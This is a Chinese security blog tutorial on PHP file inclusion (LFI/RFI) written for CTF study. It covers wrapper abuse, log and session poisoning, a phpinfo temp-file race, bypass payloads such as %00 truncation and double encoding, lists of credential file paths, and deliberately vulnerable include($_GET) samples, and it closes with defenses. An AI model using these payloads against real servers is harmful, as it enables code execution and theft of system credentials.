一篇文章深入学习文件包含漏洞

0x00 前言

文件包含,就是用代码去包含(引用)其他文件(这个文件中有需要用到的代码),这样做的目的是节省开发者的时间,提高效率,与此同时也代带来了许多安全问题.以PHP为例,PHP的文件包含相关函数是无论参数的扩展名是什么,都会将内容当做PHP代码解析(PHP内核决定的)

0x01 基础知识

  • PHP伪协议
  • PHP相关函数
  • 日志文件
  • PHP临时文件

PHP相关函数

php文件包含函数有四种:

1
2
3
4
require()
require_once()
include()
include_once()

其中,include()require()的区别是: include包含过程中如果出现错误,会抛出一个警告,但是程序继续正常运行;require包含过程中如果出现了错误,同样会报错,但是会退出程序的运行

include_once()require_once()只包含一次,用于解决在同一个文件中,某个脚本执行时同一个文件会被包含超过一次的情况,如果包含的文件被包含过了,就不会再包含了

在PHP文档中有这样的说明

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。
当一个文件被包含时,语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式,到文件结尾处恢复。由于此原因,目标文件中需要作为 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中。
如果“URL include wrappers”在 PHP 中被激活,可以用 URL(通过 HTTP 或者其它支持的封装协议——见支持的协议和封装协议)而不是本地文件来指定要被包含的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事;该脚本文件实际上已经在远程服务器上运行了,而本地脚本则包括了其结果。

在php.ini中有两个重要的参数

allow_url_include=on/off(默认为off,不允许包含url里的封装协议包含文件)

allow_url_fopen=on/off(默认为on允许url里的封装协议访问文件)

要使用include的话必须开启fopen

双off

  1. 普通本地文件包含正常
  2. 普通远程文件包含不正常
  3. 伪协议包含文件不正常

allow_url_fopen=on , allow_url_include=off

  1. 普通方式包含本地文件正常
  2. 普通远程文件包含不正常
  3. 伪协议包含文件正常

双on

  1. 普通本地文件包含正常
  2. 普通远程文件包含正常
  3. 伪协议包含文件正常

readfile()这个函数 对于allow_url_include=on/off没有影响的,allow_url_fopen=on可以让这个函数进行文件包含

同样的还有 file_get_contents() fopen()


JSP Servlet : ava.io.File() java.io.FileReader()

ASP: includefile includevirtual等

PHP伪协议

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

这个协议还可以用来任意文件读取<?php system('ls'); ?> <?php system(cat /flag)?>

或者写入一句话木马

需要开启allow_url_include=on,php版本小于5.3.0就可以造成任意代码执行

注:当enctype=”multipart/form-data”时,php://input是无效的。

1.png

2.png

php://filter

经常使用的伪协议,一般用于任意文件读取,有时也可以用于getshell.在双OFF的情况下也可以使用.

不需要allow_url_fopen和allow_url_include

php://filter是一种元封装器,用于数据流打开时筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。

最常用到的就是利用这个协议来读取源码,因为对源码编码后,可以防止文件内容被当做PHP解析

常见的读源码的payload

1
2
3
4
?page=php://filter/read=convert.base64-encode/resource=index.php
(读取经过base64编码的index.php)
?page=php://filter/convert.base64-encode/resource=index.php
(去掉read,可以绕过某些WAF)

php://output

对于allow_url_fopen和allow_url_include没有限制

php://output 是一个只写的数据流,允许你以 print 和 echo 一样的方式写入到输出缓冲区。

file://

file://伪协议在双OFF的时候也可以用,用于本地文件包含

注:file://协议必须是绝对路径

data://

使用这个协议必须要 php版本>5.2.0

使用这个协议必须 allow_url_include=on

我在XSS中总结过这个协议了,这里直接复制过来好了,只是有一点点的区别而已(多加两个反斜杠//)

data:协议(Data URI Scheme)

data:协议仅IE浏览器不支持

data URI scheme 允许我们使用内联(inline-code)的方式在网页中包含数据,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。常用于将图片嵌入网页。

Data URI Scheme支持的类型有

data:,<文本数据>

data:text/plain,<文本数据>

data:text/html,<HTML代码>

data:text/html;base64,<base64编码的HTML代码>

data:text/css,<CSS代码>

data:text/css;base64,<base64编码的CSS代码>

data:text/javascript,<Javascript代码>

data:text/javascript;base64,<base64编码的Javascript代码>

data:image/gif;base64,base64编码的gif图片数据

data:image/png;base64,base64编码的png图片数据

data:image/jpeg;base64,base64编码的jpeg图片数据

data:image/x-icon;base64,base64编码的icon图片数据

4

phar://

利用条件:

  • php版本>5.3.0
  • php.ini中设置phar.readonly=off(默认为on,本地如果不设置的话就不能生成phar文件)

简单来说就是php解压缩包的一个函数,解压的压缩包与后缀无关

PHP对phar的支持如下表

phar文件

一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自java的jar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar 归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。phar是一个合成词,由PHP 和 Archive构成,可以看出它是php归档文件的意思。

原文链接:https://blog.csdn.net/u011474028/article/details/54973571

可以把phar文件理解为文件的压缩包,用来做文件的归档

由四个部分组成:

  • stub phar: 文件标识,格式为 xxx;

  • manifest: 也就是meta-data,压缩文件的属性等信息,以序列化存储;

  • contents: 压缩文件的内容;

  • signature: 签名,放在文件末尾;

phar文件不仅仅可以可用来进行文件包含漏洞的利用,还可以用来进行phar反序列化利用

通过phar将一个写有恶意代码的普通文件压缩,然后通过这个协议进行解压执行含有恶意代码的普通文件

zip://伪协议

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

1
zip://xxx.png#shell.php

条件:

PHP版本大于5.3.0,在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

expect://

需要服务器的PHP安装了EXpect扩展,使用expect://来执行命令

日志文件

  • 如果包含错误可能是open_base_dir()被限制
  • 如果日志文件太大,包含可能会失败,所以选择合适的时间(如凌晨)
  • 很多种日志文件我们都可以利用(apache,ssh,nginx)

Linux常见的日志文件如下

  • /var/log/apache/access.log
  • /var/log/apache/error.log
  • /var/log/nginx/access.log
  • /var/log/nginx/error.log
  • /var/log/vsftpd.log
  • /var/log/sshd.log
  • /var/log/auth.log
  • /var/log/mail
  • /var/log/httpd/error_log
  • /usr/local/apache/log/error_log
  • /usr/local/apache2/log/error_log

access.log

文件是记录访问请求的日志文件,因此可以通过将一句话木马作为请求,然后这个一句话就会被写入到日志文件中

这里直接就拿实验室师傅的图片啦….我的服务器在公网上放问不了…

因为浏览器会对我们的一些字符自动进行url编码,所以要正确的把一句话写入到日志中,要使用curl或者抓包来修改请求

1
curl -v "http://www.targetweb.com/<?php phpinfo();?>"

然后利用文件包含漏洞来包含access.log就可以执行里面的一句话了

auth.log

sshd.log是记录ssh连接的日志文件,里面有ssh连接的用户信息,所以可以使用一个一句话作为用户名来尝试ssh连接

ssh <?php phpinfo();?>@116.62.227.151’

然后就会看到代码被写入到了auth.log,然后利用文件包含就行了

/proc/self/environ

是Apache的环境变量文件,可通过User-Agent向其中写入内容,但是条件是php以cgi模式运行(以CGI的方式运行,CGI英文叫做公共网关接口,就是Apache在遇到PHP脚本的时候会将PHP程序提交给CGI应用程序(php-cgi.exe)解释,解释之后的结果返回给Apache,然后再返回给相应的请求用户。)

CGI?

公共网关接口(Common Gateway Interface,CGI)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。几乎所有服务器都支持CGI,可用任何语言编写CGI,包括流行的C、C ++、Java、VB 和Delphi 等。CGI分为标准CGI和间接CGI两种。标准CGI使用命令行参数或环境变量表示服务器的详细请求,服务器与浏览器通信采用标准输入输出方式。间接CGI又称缓冲CGI,在CGI程序和CGI接口之间插入一个缓冲程序,缓冲程序与CGI接口间用标准输入输出进行通信

修改User-Agent 为 <?php phpinfo();?>

写入代码,再利用文件包含漏洞执行

读配置文件找日志路径

/etc/httpd/conf/httpd.conf
/etc/init.d/httpd

Windows日志

window 2003+iis6.0 日志文件默认放在
C:WINDOWSsystem32Logfiles
配置文件默认在
C:Windowssystem32inetsrvmetabase.xml

iis 7日志文件默认在

C:inetpublogsLogFiles
配置文件默认目录
C:WindowsSystem32inetsrvconfigapplicationHost.config

C:apachelogsaccess.log

C:Program FilesApache GroupApachelogsaccess.log
C:program fileswampapache2logs
C:wamplogs
C:xamppapachelogserror.log

C:apachelogserror.log

C:Program FilesApache GroupApachelogserror.log
C:wampapache2logs
C:xamppapachelogsaccess.log

PHP临时文件

php在上传文件时都会产生一个临时文件,将数据先写入临时文件,等完成文件上传后再删除临时文件(整个过程如下图所示

因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

利用方法

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
  2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
  3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
  4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
  5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
  6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

有些东西还是有点难理解的

0x02 什么是文件包含漏洞

利用条件:

  • include函数通过动态变量的方式引入需要包含的文件
  • 用户能控制该动态变量

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

这个恶意代码可以是一句话木马,导致getshell 也可以利用文件包含漏洞来任意文件读取,读取服务器上的一些敏感数据

举个最简单的代码实例

1
2
3
4
<?php
$test = $_GET['a'];
include($test);
?>

这里对获取到的参数没有进行任何过滤直接传入include()函数,攻击者可以修改参数的值来进行一些攻击

文件包含分两种,一个是本地文件包含还有就是远程文件包含

本地文件包含(LFI)

本地文件包含漏洞,就是包含服务器本地的文件,实战中遇到的文件包含漏洞多数为本地文件包含漏洞

无限制本地文件包含

无限制的话,就可以直接用上面的一些基础知识和常见payload直接利用文件包含漏洞得到phpinfo啊,或者网站源码等

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

session文件包含漏洞

session会话是存储在多个页面中使用的信息的方式,session不是保存在用户计算机中的

会话变量通过使用PHP全局变量$_SESSION设置,当php程序结束时,程序读取session的值,将其反序列化,发送到服务器中进行保存,然后保存管理器将会话保存在session.save_path中

利用条件:

  • session存储位置可以获取

常见的存放位置

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
/tmp/tmp

  • session中的内容可以被控制,传入恶意代码

1)可以通过phpinfo的信息来获取session的存储位置

搜索session.save_path来获取

2)猜测默认session存放位置进行尝试

linux下默认存储在/var/lib/php/session目录

代码示例:

1
2
3
4
5
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>

漏洞分析:

脚本获取到GET行变量的值存入session中

当访问 http://www.x.com/session.php?ctfs=wtf

会在/var/lib/php/session目录下存储session 的值

session的文件名为 sess_+sessionid , sessionid可以通过开发者模式获取

漏洞利用:

通过ctfs传入的值会存储到session文件中,在存在本地文件包含漏洞的情况下,可以在ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行恶意代码来getshell

比如?ctfs=<?php phpinfo();?>得到session存储的位置

构造payload

其中../是目录切换符,后面会讲

远程文件包含(RFI)

远程文件包含,就是包含远程服务器上的文件.

条件:

  • allow_url_include=on(PHP版本5.2后,默认off)
  • allow_url_fopen=on(要上面那个打开有作用,这个必须也打开)

最简单的代码示例:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>

payload:

1
http://www.a.com/RFI.php?filename=http://www.b.com/RFI/php.txt

在php.txt中写入<?php phpinfo();?>

成功包含就能访问到有phpinfo界面

当然还能做的更多,主要依据防御的如何.

0x03 漏洞利用

利用点:

index.php?file= (action=) (page=)(path=)

文件包含漏洞的利用,最常见的就是源码(做CTF题时),或者通过文件包含漏洞和其他漏洞(文件上传)一起getshell(),其实上面也总结的差不多了….

后面会从书中看看有没有更好的利用方式

0x04 绕过姿势

%00截断

这是因为PHP内核是C语言实现的,0字节\x00将作为字符串结束符

条件:

  1. magic_quotes_gpc=off
  2. PHP版本<5.3.4

即在构造的payload最后加上%00,这种情况,一般是因为后端代码指定了包含的文件的扩展名,因此可以截断后面的内容来包含任意文件

%00截断目录遍历

条件:

  1. magic_quotes_gpc=off
  2. unix文件系统(FreeBSD, OpenBSD,Solaris)

/var/www/%00

路径长度截断

条件:

php版本小于5.2.8

使用./或.来进行截断

条件:

Windows .的长度大于256;linux .的长度大于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

/etc/passwd/././././././.[…]/./././././.

/boot.ini/………[…]…………

URL二次编码

如果后端对用户的输入进行URL解码后再包含的话(类似下面的代码),就有可能利用url二次编码来绕过前面的过滤

1
2
3
<?php
include(urldecode($_GET['file']));
?>

我们先看一下利用的payload:

1
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

payload先被浏览器进行一次url解码,%25对应%,此时payload变为:

1
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

之后又被php进行一次url解码,%2e对应.,%2f对应/,因此最后包含的就是../../../etc/passwd

但是我觉得这个点,不是很好利用啊

使用通配符

<<

没有base_dir的限制,可以读到本地文件

这个问题是由Windows APi FindFirstFile函数引起的,这是FindFirstFile的一个特性,查看php原代码发现在win32readdir.c,正是调用了FindFirstFile来操作文件的。因此受影响的并不止include函数。

双写绕过

如果后端代码使用了str_replace()将../替换为空或者其他时,可以尝试双写绕过

…/./…/./…/./etc/passwd,实际情况是怎么过滤的就怎么绕过


?号绕过

1
<?php include($_GET['filename'].".html")?>

?html就绕过啦

#号绕过

因为URL编码问题,需要把#编码为%23

空格绕过

%20


bypass allow_url_include=off

包含smb共享服务中的文件,但只能对Windows的服务器有用,并且国内很多运营商默认关闭445端口

利用方式:

在smb共享文件夹放一个含有恶意代码的.txt文件,后缀名其实都无所谓,因为其中的内容都会被当做php代码来解析

然后包含这个smb服务的文件

1
?file=\\ip\user\evil.txt

0x05 漏洞防御

如果业务不需要一些文件包含的话

可以选择性的设置

allow_url_fopen=off allow_url-include=off

magic_quotes_gpc=on

过滤掉../../等 url中拼接到的http:// https://(RFI)

禁用0字节,因为用户完全不需要使用0字节

1
$value = str_replace("\0",'',$value);

为PHP配置open_basedir 可以时目录遍历(../../../)这种攻击方式无效

open_basedir的作用是限制在某个特定目录下PHP能打开的文件,与safe_mode是否开启无关

避免包含动态的变量,尤其是用户可以控制的变量,使用枚举的方法

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$file = $_GET['file'];
//Whitelisting possible values
switch ($file) {
case 'main':
case 'foo':
case 'bar':
include '/home/www/include'.$file.'.php';
break;
default:
include '/home/www/include/main.php';
}

0x06 漏洞挖掘

这个漏洞的话,通过做CTF题也知道.一般就是观察url是否存在?file= 或者?page= 这种类型的 ,就可能存在文件包含漏洞,然后利用上面的payload去试,如果有错误回显就根据错误回显来判断

有时候也可以扫目录,或者robots.txt 看有没能够得到现成的phpinfo界面,然后看allow_url_fopen和allow_url_include的状态是什么样的,来对应的来进行利用,但是也要找到可以利用的参数才行

0x07 总结

文件包含这个漏洞,单独利用现在已经很难了,一般都需要配合其他漏洞一起来利用,或者读到一些信息

0x08 参考资料

Web安全实战系列:文件包含漏洞

longlong师傅的File Inclusion Summary

从这篇文章我学习了,学某个漏洞一定要求看相关的官方文档

zjh师傅的TOP10-漏洞之文件包含

浅析PHP伪协议在CTF中的应用

PHP伪协议探究

https://www.cnblogs.com/Renyi-Fan/p/9811197.html#_label0_2

文件包含漏洞的几种利用

https://3wapp.github.io/WebSecurity/php-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB.html

http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html

多查资料,多总结

Author: m0nk3y
Link: https://hack-for.fun/4215.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.